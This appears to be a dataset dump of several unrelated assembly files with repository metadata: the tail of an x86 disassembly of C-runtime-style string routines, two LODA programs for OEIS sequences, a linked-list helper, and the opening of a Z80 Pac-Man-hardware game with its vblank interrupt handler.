10008e89: 83 7d e4 00 cmp DWORD PTR [ebp-0x1c],0x0
10008e8d: 74 08 je 0x10008e97
10008e8f: 6a 00 push 0x0
10008e91: e8 8a bd ff ff call 0x10004c20
10008e96: 59 pop ecx
10008e97: c3 ret
10008e98: 53 push ebx
10008e99: ff 55 e0 call DWORD PTR [ebp-0x20]
10008e9c: 59 pop ecx
10008e9d: 83 fb 08 cmp ebx,0x8
10008ea0: 74 0a je 0x10008eac
10008ea2: 83 fb 0b cmp ebx,0xb
10008ea5: 74 05 je 0x10008eac
10008ea7: 83 fb 04 cmp ebx,0x4
10008eaa: 75 11 jne 0x10008ebd
10008eac: 8b 45 d4 mov eax,DWORD PTR [ebp-0x2c]
10008eaf: 89 47 60 mov DWORD PTR [edi+0x60],eax
10008eb2: 83 fb 08 cmp ebx,0x8
10008eb5: 75 06 jne 0x10008ebd
10008eb7: 8b 45 d0 mov eax,DWORD PTR [ebp-0x30]
10008eba: 89 47 64 mov DWORD PTR [edi+0x64],eax
10008ebd: 33 c0 xor eax,eax
10008ebf: e8 a9 c9 ff ff call 0x1000586d
10008ec4: c3 ret
10008ec5: 8b 44 24 04 mov eax,DWORD PTR [esp+0x4]
10008ec9: a3 b8 5b 01 10 mov ds:0x10015bb8,eax
10008ece: c3 ret
10008ecf: 8b 44 24 04 mov eax,DWORD PTR [esp+0x4]
10008ed3: a3 c4 5b 01 10 mov ds:0x10015bc4,eax
10008ed8: c3 ret
10008ed9: 55 push ebp
10008eda: 8b ec mov ebp,esp
10008edc: 83 ec 20 sub esp,0x20
10008edf: 53 push ebx
10008ee0: 56 push esi
10008ee1: 57 push edi
10008ee2: e8 1e d2 ff ff call 0x10006105
10008ee7: 33 db xor ebx,ebx
10008ee9: 39 1d c8 5b 01 10 cmp DWORD PTR ds:0x10015bc8,ebx
10008eef: 89 45 f8 mov DWORD PTR [ebp-0x8],eax
10008ef2: 89 5d fc mov DWORD PTR [ebp-0x4],ebx
10008ef5: 89 5d f4 mov DWORD PTR [ebp-0xc],ebx
10008ef8: 89 5d f0 mov DWORD PTR [ebp-0x10],ebx
10008efb: 0f 85 ae 00 00 00 jne 0x10008faf
10008f01: 68 a4 d9 00 10 push 0x1000d9a4
10008f06: ff 15 f4 d0 00 10 call DWORD PTR ds:0x1000d0f4
10008f0c: 8b f8 mov edi,eax
10008f0e: 3b fb cmp edi,ebx
10008f10: 0f 84 79 01 00 00 je 0x1000908f
10008f16: 8b 35 4c d0 00 10 mov esi,DWORD PTR ds:0x1000d04c
10008f1c: 68 98 d9 00 10 push 0x1000d998
10008f21: 57 push edi
10008f22: ff d6 call esi
10008f24: 3b c3 cmp eax,ebx
10008f26: 0f 84 63 01 00 00 je 0x1000908f
10008f2c: 50 push eax
10008f2d: e8 65 d1 ff ff call 0x10006097
10008f32: c7 04 24 88 d9 00 10 mov DWORD PTR [esp],0x1000d988
10008f39: 57 push edi
10008f3a: a3 c8 5b 01 10 mov ds:0x10015bc8,eax
10008f3f: ff d6 call esi
10008f41: 50 push eax
10008f42: e8 50 d1 ff ff call 0x10006097
10008f47: c7 04 24 74 d9 00 10 mov DWORD PTR [esp],0x1000d974
10008f4e: 57 push edi
10008f4f: a3 cc 5b 01 10 mov ds:0x10015bcc,eax
10008f54: ff d6 call esi
10008f56: 50 push eax
10008f57: e8 3b d1 ff ff call 0x10006097
10008f5c: a3 d0 5b 01 10 mov ds:0x10015bd0,eax
10008f61: 8d 45 f4 lea eax,[ebp-0xc]
10008f64: 50 push eax
10008f65: e8 65 cb ff ff call 0x10005acf
10008f6a: 85 c0 test eax,eax
10008f6c: 59 pop ecx
10008f6d: 59 pop ecx
10008f6e: 74 0d je 0x10008f7d
10008f70: 53 push ebx
10008f71: 53 push ebx
10008f72: 53 push ebx
10008f73: 53 push ebx
10008f74: 53 push ebx
10008f75: e8 00 eb ff ff call 0x10007a7a
10008f7a: 83 c4 14 add esp,0x14
10008f7d: 83 7d f4 02 cmp DWORD PTR [ebp-0xc],0x2
10008f81: 75 2c jne 0x10008faf
10008f83: 68 58 d9 00 10 push 0x1000d958
10008f88: 57 push edi
10008f89: ff d6 call esi
10008f8b: 50 push eax
10008f8c: e8 06 d1 ff ff call 0x10006097
10008f91: 3b c3 cmp eax,ebx
10008f93: 59 pop ecx
10008f94: a3 d8 5b 01 10 mov ds:0x10015bd8,eax
10008f99: 74 14 je 0x10008faf
10008f9b: 68 40 d9 00 10 push 0x1000d940
10008fa0: 57 push edi
10008fa1: ff d6 call esi
10008fa3: 50 push eax
10008fa4: e8 ee d0 ff ff call 0x10006097
10008fa9: 59 pop ecx
10008faa: a3 d4 5b 01 10 mov ds:0x10015bd4,eax
10008faf: a1 d4 5b 01 10 mov eax,ds:0x10015bd4
10008fb4: 8b 4d f8 mov ecx,DWORD PTR [ebp-0x8]
10008fb7: 3b c1 cmp eax,ecx
10008fb9: 74 79 je 0x10009034
10008fbb: 39 0d d8 5b 01 10 cmp DWORD PTR ds:0x10015bd8,ecx
10008fc1: 74 71 je 0x10009034
10008fc3: 50 push eax
10008fc4: e8 45 d1 ff ff call 0x1000610e
10008fc9: ff 35 d8 5b 01 10 push DWORD PTR ds:0x10015bd8
10008fcf: 8b f0 mov esi,eax
10008fd1: e8 38 d1 ff ff call 0x1000610e
10008fd6: 3b f3 cmp esi,ebx
10008fd8: 59 pop ecx
10008fd9: 59 pop ecx
10008fda: 8b f8 mov edi,eax
10008fdc: 74 56 je 0x10009034
10008fde: 3b fb cmp edi,ebx
10008fe0: 74 52 je 0x10009034
10008fe2: ff d6 call esi
10008fe4: 3b c3 cmp eax,ebx
10008fe6: 74 19 je 0x10009001
10008fe8: 8d 4d ec lea ecx,[ebp-0x14]
10008feb: 51 push ecx
10008fec: 6a 0c push 0xc
10008fee: 8d 4d e0 lea ecx,[ebp-0x20]
10008ff1: 51 push ecx
10008ff2: 6a 01 push 0x1
10008ff4: 50 push eax
10008ff5: ff d7 call edi
10008ff7: 85 c0 test eax,eax
10008ff9: 74 06 je 0x10009001
10008ffb: f6 45 e8 01 test BYTE PTR [ebp-0x18],0x1
10008fff: 75 33 jne 0x10009034
10009001: 8d 45 f0 lea eax,[ebp-0x10]
10009004: 50 push eax
10009005: e8 fc ca ff ff call 0x10005b06
1000900a: 85 c0 test eax,eax
1000900c: 59 pop ecx
1000900d: 74 0d je 0x1000901c
1000900f: 53 push ebx
10009010: 53 push ebx
10009011: 53 push ebx
10009012: 53 push ebx
10009013: 53 push ebx
10009014: e8 61 ea ff ff call 0x10007a7a
10009019: 83 c4 14 add esp,0x14
1000901c: 83 7d f0 04 cmp DWORD PTR [ebp-0x10],0x4
10009020: 72 09 jb 0x1000902b
10009022: 81 4d 10 00 00 20 00 or DWORD PTR [ebp+0x10],0x200000
10009029: eb 44 jmp 0x1000906f
1000902b: 81 4d 10 00 00 04 00 or DWORD PTR [ebp+0x10],0x40000
10009032: eb 3b jmp 0x1000906f
10009034: a1 cc 5b 01 10 mov eax,ds:0x10015bcc
10009039: 3b 45 f8 cmp eax,DWORD PTR [ebp-0x8]
1000903c: 74 31 je 0x1000906f
1000903e: 50 push eax
1000903f: e8 ca d0 ff ff call 0x1000610e
10009044: 3b c3 cmp eax,ebx
10009046: 59 pop ecx
10009047: 74 26 je 0x1000906f
10009049: ff d0 call eax
1000904b: 3b c3 cmp eax,ebx
1000904d: 89 45 fc mov DWORD PTR [ebp-0x4],eax
10009050: 74 1d je 0x1000906f
10009052: a1 d0 5b 01 10 mov eax,ds:0x10015bd0
10009057: 3b 45 f8 cmp eax,DWORD PTR [ebp-0x8]
1000905a: 74 13 je 0x1000906f
1000905c: 50 push eax
1000905d: e8 ac d0 ff ff call 0x1000610e
10009062: 3b c3 cmp eax,ebx
10009064: 59 pop ecx
10009065: 74 08 je 0x1000906f
10009067: ff 75 fc push DWORD PTR [ebp-0x4]
1000906a: ff d0 call eax
1000906c: 89 45 fc mov DWORD PTR [ebp-0x4],eax
1000906f: ff 35 c8 5b 01 10 push DWORD PTR ds:0x10015bc8
10009075: e8 94 d0 ff ff call 0x1000610e
1000907a: 3b c3 cmp eax,ebx
1000907c: 59 pop ecx
1000907d: 74 10 je 0x1000908f
1000907f: ff 75 10 push DWORD PTR [ebp+0x10]
10009082: ff 75 0c push DWORD PTR [ebp+0xc]
10009085: ff 75 08 push DWORD PTR [ebp+0x8]
10009088: ff 75 fc push DWORD PTR [ebp-0x4]
1000908b: ff d0 call eax
1000908d: eb 02 jmp 0x10009091
1000908f: 33 c0 xor eax,eax
10009091: 5f pop edi
10009092: 5e pop esi
10009093: 5b pop ebx
10009094: c9 leave
10009095: c3 ret
10009096: 8b 44 24 04 mov eax,DWORD PTR [esp+0x4]
1000909a: 53 push ebx
1000909b: 33 db xor ebx,ebx
1000909d: 3b c3 cmp eax,ebx
1000909f: 56 push esi
100090a0: 57 push edi
100090a1: 74 08 je 0x100090ab
100090a3: 8b 7c 24 14 mov edi,DWORD PTR [esp+0x14]
100090a7: 3b fb cmp edi,ebx
100090a9: 77 1b ja 0x100090c6
100090ab: e8 96 b9 ff ff call 0x10004a46
100090b0: 6a 16 push 0x16
100090b2: 5e pop esi
100090b3: 89 30 mov DWORD PTR [eax],esi
100090b5: 53 push ebx
100090b6: 53 push ebx
100090b7: 53 push ebx
100090b8: 53 push ebx
100090b9: 53 push ebx
100090ba: e8 b7 ea ff ff call 0x10007b76
100090bf: 83 c4 14 add esp,0x14
100090c2: 8b c6 mov eax,esi
100090c4: eb 3d jmp 0x10009103
100090c6: 8b 74 24 18 mov esi,DWORD PTR [esp+0x18]
100090ca: 3b f3 cmp esi,ebx
100090cc: 75 04 jne 0x100090d2
100090ce: 88 18 mov BYTE PTR [eax],bl
100090d0: eb d9 jmp 0x100090ab
100090d2: 8b d0 mov edx,eax
100090d4: 38 1a cmp BYTE PTR [edx],bl
100090d6: 74 04 je 0x100090dc
100090d8: 42 inc edx
100090d9: 4f dec edi
100090da: 75 f8 jne 0x100090d4
100090dc: 3b fb cmp edi,ebx
100090de: 74 ee je 0x100090ce
100090e0: 8a 0e mov cl,BYTE PTR [esi]
100090e2: 88 0a mov BYTE PTR [edx],cl
100090e4: 42 inc edx
100090e5: 46 inc esi
100090e6: 3a cb cmp cl,bl
100090e8: 74 03 je 0x100090ed
100090ea: 4f dec edi
100090eb: 75 f3 jne 0x100090e0
100090ed: 3b fb cmp edi,ebx
100090ef: 75 10 jne 0x10009101
100090f1: 88 18 mov BYTE PTR [eax],bl
100090f3: e8 4e b9 ff ff call 0x10004a46
100090f8: 6a 22 push 0x22
100090fa: 59 pop ecx
100090fb: 89 08 mov DWORD PTR [eax],ecx
100090fd: 8b f1 mov esi,ecx
100090ff: eb b4 jmp 0x100090b5
10009101: 33 c0 xor eax,eax
10009103: 5f pop edi
10009104: 5e pop esi
10009105: 5b pop ebx
10009106: c3 ret
10009107: 55 push ebp
10009108: 8b ec mov ebp,esp
1000910a: 53 push ebx
1000910b: 56 push esi
1000910c: 8b 75 08 mov esi,DWORD PTR [ebp+0x8]
1000910f: 33 db xor ebx,ebx
10009111: 39 5d 14 cmp DWORD PTR [ebp+0x14],ebx
10009114: 57 push edi
10009115: 75 10 jne 0x10009127
10009117: 3b f3 cmp esi,ebx
10009119: 75 10 jne 0x1000912b
1000911b: 39 5d 0c cmp DWORD PTR [ebp+0xc],ebx
1000911e: 75 12 jne 0x10009132
10009120: 33 c0 xor eax,eax
10009122: 5f pop edi
10009123: 5e pop esi
10009124: 5b pop ebx
10009125: 5d pop ebp
10009126: c3 ret
10009127: 3b f3 cmp esi,ebx
10009129: 74 07 je 0x10009132
1000912b: 8b 7d 0c mov edi,DWORD PTR [ebp+0xc]
1000912e: 3b fb cmp edi,ebx
10009130: 77 1b ja 0x1000914d
10009132: e8 0f b9 ff ff call 0x10004a46
10009137: 6a 16 push 0x16
10009139: 5e pop esi
1000913a: 89 30 mov DWORD PTR [eax],esi
1000913c: 53 push ebx
1000913d: 53 push ebx
1000913e: 53 push ebx
1000913f: 53 push ebx
10009140: 53 push ebx
10009141: e8 30 ea ff ff call 0x10007b76
10009146: 83 c4 14 add esp,0x14
10009149: 8b c6 mov eax,esi
1000914b: eb d5 jmp 0x10009122
1000914d: 39 5d 14 cmp DWORD PTR [ebp+0x14],ebx
10009150: 75 04 jne 0x10009156
10009152: 88 1e mov BYTE PTR [esi],bl
10009154: eb ca jmp 0x10009120
10009156: 8b 55 10 mov edx,DWORD PTR [ebp+0x10]
10009159: 3b d3 cmp edx,ebx
1000915b: 75 04 jne 0x10009161
1000915d: 88 1e mov BYTE PTR [esi],bl
1000915f: eb d1 jmp 0x10009132
10009161: 83 7d 14 ff cmp DWORD PTR [ebp+0x14],0xffffffff
10009165: 8b c6 mov eax,esi
10009167: 75 0f jne 0x10009178
10009169: 8a 0a mov cl,BYTE PTR [edx]
1000916b: 88 08 mov BYTE PTR [eax],cl
1000916d: 40 inc eax
1000916e: 42 inc edx
1000916f: 3a cb cmp cl,bl
10009171: 74 1e je 0x10009191
10009173: 4f dec edi
10009174: 75 f3 jne 0x10009169
10009176: eb 19 jmp 0x10009191
10009178: 8a 0a mov cl,BYTE PTR [edx]
1000917a: 88 08 mov BYTE PTR [eax],cl
1000917c: 40 inc eax
1000917d: 42 inc edx
1000917e: 3a cb cmp cl,bl
10009180: 74 08 je 0x1000918a
10009182: 4f dec edi
10009183: 74 05 je 0x1000918a
10009185: ff 4d 14 dec DWORD PTR [ebp+0x14]
10009188: 75 ee jne 0x10009178
1000918a: 39 5d 14 cmp DWORD PTR [ebp+0x14],ebx
1000918d: 75 02 jne 0x10009191
1000918f: 88 18 mov BYTE PTR [eax],bl
10009191: 3b fb cmp edi,ebx
10009193: 75 8b jne 0x10009120
10009195: 83 7d 14 ff cmp DWORD PTR [ebp+0x14],0xffffffff
10009199: 75 0f jne 0x100091aa
1000919b: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
1000919e: 6a 50 push 0x50
100091a0: 88 5c 06 ff mov BYTE PTR [esi+eax*1-0x1],bl
100091a4: 58 pop eax
100091a5: e9 78 ff ff ff jmp 0x10009122
100091aa: 88 1e mov BYTE PTR [esi],bl
100091ac: e8 95 b8 ff ff call 0x10004a46
100091b1: 6a 22 push 0x22
100091b3: 59 pop ecx
100091b4: 89 08 mov DWORD PTR [eax],ecx
100091b6: 8b f1 mov esi,ecx
100091b8: eb 82 jmp 0x1000913c
100091ba: 8b 4c 24 04 mov ecx,DWORD PTR [esp+0x4]
100091be: 56 push esi
100091bf: 33 f6 xor esi,esi
100091c1: 3b ce cmp ecx,esi
100091c3: 7c 1e jl 0x100091e3
100091c5: 83 f9 02 cmp ecx,0x2
100091c8: 7e 0c jle 0x100091d6
100091ca: 83 f9 03 cmp ecx,0x3
100091cd: 75 14 jne 0x100091e3
100091cf: a1 44 52 01 10 mov eax,ds:0x10015244
100091d4: 5e pop esi
100091d5: c3 ret
100091d6: a1 44 52 01 10 mov eax,ds:0x10015244
100091db: 89 0d 44 52 01 10 mov DWORD PTR ds:0x10015244,ecx
100091e1: 5e pop esi
100091e2: c3 ret
100091e3: e8 5e b8 ff ff call 0x10004a46
100091e8: 56 push esi
100091e9: 56 push esi
100091ea: 56 push esi
100091eb: 56 push esi
100091ec: 56 push esi
100091ed: c7 00 16 00 00 00 mov DWORD PTR [eax],0x16
100091f3: e8 7e e9 ff ff call 0x10007b76
100091f8: 83 c4 14 add esp,0x14
100091fb: 83 c8 ff or eax,0xffffffff
100091fe: 5e pop esi
100091ff: c3 ret
10009200: 83 25 a0 5c 01 10 00 and DWORD PTR ds:0x10015ca0,0x0
10009207: c3 ret
10009208: cc int3
10009209: cc int3
1000920a: cc int3
1000920b: cc int3
1000920c: cc int3
1000920d: cc int3
1000920e: cc int3
1000920f: cc int3
| 49.977058 | 70 | 0.501688 |
81ed7323bbf91534e30b5caef7d2fc4cc572e525 | 549 | asm | Assembly | oeis/017/A017087.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/017/A017087.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/017/A017087.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A017087: a(n) = (8*n + 1)^11.
; 1,31381059609,34271896307633,2384185791015625,50542106513726817,550329031716248441,3909821048582988049,20635899893042801193,87507831740087890625,313726685568359708377,984770902183611232881,2775173073766990340489,7153014030880804126753,17103393581163134765625,38358611506121121577937,81402749386839761113321,164621598066108688876929,319099584516184696444313,595728015903604931640625,1075488420943298174695497,1884016215314563749249761,3211838877954855105157369,5342025170319974613513873
mul $0,8
add $0,1
pow $0,11
| 78.428571 | 487 | 0.897996 |
1bbcf1c30876228001880d4d3c31703ef9ffbaa2 | 680 | asm | Assembly | oeis/032/A032822.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/032/A032822.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/032/A032822.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A032822: Numbers whose set of base-10 digits is {1,4}.
; Submitted by Christian Krause
; 1,4,11,14,41,44,111,114,141,144,411,414,441,444,1111,1114,1141,1144,1411,1414,1441,1444,4111,4114,4141,4144,4411,4414,4441,4444,11111,11114,11141,11144,11411,11414,11441,11444,14111,14114,14141,14144,14411,14414,14441,14444,41111,41114,41141,41144,41411,41414,41441,41444,44111,44114,44141,44144,44411,44414,44441,44444,111111,111114,111141,111144,111411,111414,111441,111444,114111,114114,114141,114144,114411,114414,114441,114444,141111,141114,141141,141144,141411,141414,141441,141444,144111
seq $0,32818 ; Numbers whose set of base-6 digits is {1,4}.
seq $0,7092 ; Numbers in base 6.
| 97.142857 | 496 | 0.789706 |
4ed5c83b9e89573afdbd0ed293126bc166857e9d | 323 | asm | Assembly | source/lli_release.asm | mateuszstompor/Linked-List-x86-64-ASM | 0652d03458ef65e93a6cad4586dacbd5893c5ed6 | [
"MIT"
] | 5 | 2019-07-12T11:30:22.000Z | 2022-03-07T18:39:52.000Z | source/lli_release.asm | mateuszstompor/Linked-List-x86-64-ASM | 0652d03458ef65e93a6cad4586dacbd5893c5ed6 | [
"MIT"
] | 6 | 2019-07-22T21:34:01.000Z | 2020-02-09T15:09:10.000Z | source/lli_release.asm | mateuszstompor/Linked-List-x86-64-ASM | 0652d03458ef65e93a6cad4586dacbd5893c5ed6 | [
"MIT"
] | null | null | null | ;
; Created by Mateusz Stompór on 21/06/2019.
;
%include "source/sizes.asm"
%include "source/iterator.asm"
%include "source/memory_management.asm"
global LLI_RELEASE
section .text
LLI_RELEASE:
; address sits in rdi register
sub rsp, 8
mov rsi, LL_ITERATOR_SIZE
call ll_mem_release
add rsp, 8
ret
| 17 | 43 | 0.71517 |
f567b3727ed6a6718b54a87aadc7078323b93100 | 85,632 | asm | Assembly | GhostHunt Z80.asm | HurrayBanana/AssemblerExamples | 1c0586922e46f6ce401a59438b362404d0a45c74 | [
"MIT"
] | null | null | null | GhostHunt Z80.asm | HurrayBanana/AssemblerExamples | 1c0586922e46f6ce401a59438b362404d0a45c74 | [
"MIT"
] | null | null | null | GhostHunt Z80.asm | HurrayBanana/AssemblerExamples | 1c0586922e46f6ce401a59438b362404d0a45c74 | [
"MIT"
] | null | null | null | ;PAC-MAN Hardware programming Ghost Hunt - Hurray Banana June 2016
;little game to demonstrate some basic concepts and structures
;used when writing assembly language code showing features of assembly language
;and feature support from the assembler
;developed using SJASM assembler and Visual Studio 2015
device zxspectrum48 ;allows savebin to work for creating the binaries - at the end of the file
;instead of using OUTPUT before each org - just slightly easier to manage
; init code courtesy of cmonkey
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; constants defined here
; in general when declaring constants and symbolic addresses use a colon at end
; when using constants and symbolic addresses drop the colon, this allows you to search for declarations
; by putting the colon at the end of the symbol name, if you omitt it you will find all the references (which might be loads)
; labels starting with . are local labels and can be re-used in other modules
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
RST_38H: equ $ff ;constant for RST 38H instruction for setting vsync interrupt
irq_enable: equ $5000 ;irq enable location in memory map, set 1 to enable 0 to disable
watchdog: equ $50c0 ;watchdog - if not reset every few frames cpu resets - forcing a re-boot known as the watchdog barking
flip_screen_addr: equ $5003 ;if value 0 then normal tilemap, 1 forces flipped tilemap (does not affect sprites)
hardware_io_area: equ $5000 ;hardware mapped memory i/o base
tile_ram_play_area: equ $4040 ;main tilemap area starts here (top right)- addr increase vertically down from top - top right tile
tile_ram_play_area_left: equ $43a0 ;main tilemap area top left tile
tile_ram_top_area: equ $43c0 ;top two rows above tilemap area- addr increase horizontally left from right
tile_ram_play_area_last: equ $43bf ;last address of main player area (bottom left corner)
tile_ram_top_vis: equ $43c2 ;first two and last two tiles not visible in each of 2 rows
tile_ram_top_vis_line1: equ $43dd ;top left of visible top row sub to move to next column to right
tile_ram_top_vis_line2: equ $43fd ;second text row at top
tile_ram_start: equ $4000 ;base address of tile ram
pallete_ram_start: equ $4400 ;base address of pallete ram
pallete_ram_main: equ $4440 ;main video area pallete start (after first two rows)
tile_ram_bot_area: equ $4000 ;bottom two rows below tilemap area- addr increase horizontally left from right
tile_ram_bot_vis: equ $4002 ;first two and last two tiles not visible in each of 2 rows
tile_ram_bot_vis_line1: equ $401d ;top left of visible bottom row sub to move to next column to right
tile_ram_bot_vis_line2: equ $403d ;top left of last border row
user_ram_start: equ $4c00 ;start of user allocated RAM
ram_top: equ $4ff0 ;this is where the stack needs to start at
;-note 8 sprite registers exist but only the middle 6 are actually used by the hardware
; $4ff2-3,$4ff4-5,$4ff6-7,$4ff8-9,$4ffa-b,$4ffc-d - for the spritenum, flip and palette
; $5062-3,$5064-5,$5066-7,$5068-9,$506a-b,$506c-d - for the x and y positions
sprite_reg: equ $4ff2 ;sprite registers start here first byte is number bits 7-2, bit 1 is x flip, bit 0 is y flip
;second byte lower nibble is pallete to use for sprite
spriteXY_reg: equ $5062 ;2 bytes starting here for each sprite holding x and y positions on screen
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; sprite block offsets organised for easy transfer to sprite registers pos and pal, then pos data, then velocities xy
; offsets to use when indexed addressing - set index register to sprite0, sprite1 etc...
; ld ix,sprite2
; ld a,(ix + spr_x)
; would allow you to access x position of sprite
; this data is cleverly interlaced so sprite number, palettes and xy positions can be easily copied over to the sprite registers each frame
; these equates allow us to access the interlaced elements without having to worry about how they are interlaced using indexing
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
spr_num: equ $0 ;sprite number from rom 5f most significant 6 bits bit 1 x flip, bit 0 y flip
spr_pal: equ $1 ;palette for sprite - lower nibble only
spr_x: equ $0c ;x position of sprite
spr_y: equ $0d ;y position of sprite
spr_vel_x: equ $18 ;x velocity of sprite
spr_vel_y: equ $19 ;y velocty of sprite
spr_tile_addr: equ $24 ;tile address sprite occupies (2 bytes)
spr_tile_x: equ $30 ;x tile position (0,0) is top right corner
spr_tile_y: equ $31 ;y tile position (27,31) is bottom left corner
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; colour pallete constants for pen 3 colour
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
black: equ 0; (hidden)
red: equ 1; (blinky)
pink: equ 3; (pinky)
cyan: equ 5; (inky)
orange: equ 7; (clyde)
yellow: equ 9; (pac-man)
grey: equ $f; (off-white)
blue: equ $10; (scared ghost)
brown: equ $15; (poo ghost)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; data to be held in ram defined here ;
; allocation of bytes for ram area assembler calculates ;
; addresses based on org statement and user_ram_start ($4c00) ;
; these are in affect our variables ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; db define byte (8 bit value) creates space and sets value
; dw define word (16 bit value) creates space and sets value
; ds declares space for a number of bytes (often specified using a calculation for the assembler)
; defm defines a byte
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
org user_ram_start ;allocate this data at user_ram_start $4c00
waitvsync: db 0 ;if 1 then interrupt is finished and main loop can continue
frame_counter: db 255 ;value that increments every frame for stable animation and frame counts - doesn't reset just wraps so mods work consistently
frame_number: db 0 ;holds a frame number in lsB and second counter in msB 60 to 0 resets to 60 when gets to zero
seconds_counter: db 0 ;quick ref to seconds part
full_tile: db 0 ;tile to use by bitmap renderer
save_reg: db 0 ;temp storage for an 8 bit register
save_sp: dw 0 ;storage area for stack when messing about with it
joystick_state: db 0 ;holds previous state in upper nibble and current state in lower nibble IN1 $5000
start_state: db 0 ;holds current state of input byte IN1 - player 2 joystick and start buttons $5040
flip_screen: db 0 ;holds status of flip screen (as i think the location $5003 is write only - it always reads back as ff)
sprite_data: ds 4*6 + 2*6 + 2*6 + 2*6 ;space for the 6 sprites to store their sprite data
;4 bytes for sprite, pallete, x and y
;2 bytes for x and y velocity
;2 bytes for tile addr (not used)
;2 bytes for tilex and tiley
;60 bytes in total for this data
msg_top_addr dw 0 ;holds address of top changing display text
msg_one_pos: dw 0 ;start addr of top text
msg_bot_addr: dw 0 ;holds index of in bottom_list text to display at bottom of screen
bot_counter: db 0 ;counter for bottom scrolling message display
mode: db 0 ;what mode is the system in 1 - title screen, 2 is game, 4 is end of game
high_score: ds 4 ;current high score (again 4 bcd bytes)
current_score: ds 4 ;space for current players score 4 bytes in bcd format (8 digits)
game_time: db 0 ;holds the game time
flipx: equ 1 ;x flip bit for sprites
flipy: equ 0 ;y flip bit for sprites
sprite0: equ sprite_data ;quick reference constants to load index registers with for sprite access
sprite1: equ sprite_data + 2
sprite2: equ sprite_data + 4
sprite3: equ sprite_data + 6
sprite4: equ sprite_data + 8
sprite5: equ sprite_data + $a
sprite_pos: equ sprite_data + spr_x
sprite_vels: equ sprite_data + spr_vel_x
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Code starts here
; when Z80 becomes active the PC will hold address 0
; address zero points to the first byte in ROM
; we place a jump instruction here so we can execute our code
; that will initialise the hardware and setup initial data structures
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
org 0 ;tell assembler to assemble from address 0
jp start ;jump to initialisation code
org $38 ;assemble from $38 (where the vblank interrupt will jump to)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; vertical blank interrupt routine
; interrupt generated when screen has finished drawing
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
vblank: di ;disable any interrupts (so we don't get interrupted)
push af ;save accumulator, flags and registers we are going to destroy
push ix
push hl
push de
push bc
xor a ;clear accumulator
ld (irq_enable),a ;disable ints on the board
ld (watchdog),a ;reset the watchdog
;increment frame counter
ld a,(frame_counter) ;get current value
inc a ;increment
ld (frame_counter),a ;and store
;sort out frame counter
ld hl,(frame_number) ;get 16 bit frame counter - l holds frame, h holds seconds
dec l ;reduce number of frames by 1
jp p,dont_reset_frame_counter ;only reset if it goes negative
ld l,$3b ;load back up with 59
inc h ;add one to seconds
dont_reset_frame_counter:
ld (frame_number),hl ;store new counter
; main vblank routines
call set_sprite_data ;copy sprite data over to registers
call input_manager ;update input states
;call flip_input ;check for screen flip inputs
vbend:
xor a ;clear a
ld (watchdog),a ;and reset the watchdog
inc a ;enable interrupts again
ld (irq_enable),a ; enable ints on the board
pop bc ;restore registers in reverse order of push
pop de
pop hl
pop ix
pop af
ei ;enable interrupts again
reti ;return from interrupt
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; rest frame number to start second counting from 0 frame
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
reset_framenumber:
ld a,$39 ;set up frame number for 0 so seconds are reset
ld (frame_number),a ;reset frame number
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; input manager packages the input data from the two io ports
; so it can be used to track button/joystick state in a nice format
;
; keeps stack of current and previous state of inputs
; so we can test whether they are just pressed, held or released
; input manager constants 0 is down 1 is up
; mask status byte first using these
; for joystick_state
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
